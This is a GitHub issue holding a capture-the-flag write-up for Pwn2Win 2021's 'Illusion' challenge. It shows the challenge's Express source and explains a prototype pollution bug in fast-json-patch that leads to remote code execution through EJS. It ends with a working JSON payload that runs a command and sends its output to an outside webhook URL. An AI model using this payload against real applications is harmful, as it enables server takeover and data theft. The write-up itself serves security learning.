Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pwn2Win CTF 2021 - Illusion #35

Open
aszx87410 opened this issue May 31, 2021 · 1 comment
Open

Pwn2Win CTF 2021 - Illusion #35

aszx87410 opened this issue May 31, 2021 · 1 comment
Labels

Comments

@aszx87410
Copy link
Owner

aszx87410 commented May 31, 2021

Illusion

Description

Laura just found a website used for monitoring security mechanisms on Rhiza's state and is planning to hack into it to forge the status of these security services. After that she will desactivate these security resources without alerting government agents. Your goal is to get into the server to change the monitoring service behavior.

截圖 2021-05-31 上午8 23 33

Source code:

const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')


const app = express()

// Middlewares //
app.use(bodyParser.json())
app.use(basicAuth({
    users: { "admin": process.env.SECRET || "admin" },
    challenge: true
}))

/////////////////

let services = {
    status: "online",
    cameras: "online",
    doors: "online",
    dome: "online",
    turrets: "online"
}

// Static folder
app.use("/static", express.static(__dirname + "/static"));

// Homepage
app.get("/", async (req, res) => {
    const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
    res.end(html)
})

// API
app.post("/change_status", (req, res) => {

    let patch = []

    Object.entries(req.body).forEach(([service, status]) => {

        if (service === "status"){
            res.status(400).end("Cannot change all services status")
            return
        }

        patch.push({
            "op": "replace",
            "path": "/" + service,
            "value": status
        })
    });

    jsonpatch.applyPatch(services, patch)

    if ("offline" in Object.values(services)){
        services.status = "offline"
    }

    res.json(services)
})

app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})  

Writeup

There are two lines caught my eyes immediately: jsonpatch.applyPatch(services, patch) and ejs.renderFile(__dirname + "/templates/index.ejs", {services}).

From my experience, jsonpatch might have prototype pollution vulnerability. After googling a bit I found this open PR: Starcounter-Jack/JSON-Patch#262 and confirm that prototype pollution exists.

But what can we do with this? I googled: prototype pollution ejs ctf and found this useful article: From Prototype Pollution to RCE

We can use outputFunctionName to do RCE.

So just post this to /change_status and that's all, solved the challenge by googling!:

{
    "constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhook.site/844be20d-00d7-4696-88f9-1ffb5261b3e0?q=${flag}`);req.end();//"
}
@Firebasky
Copy link

thank!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants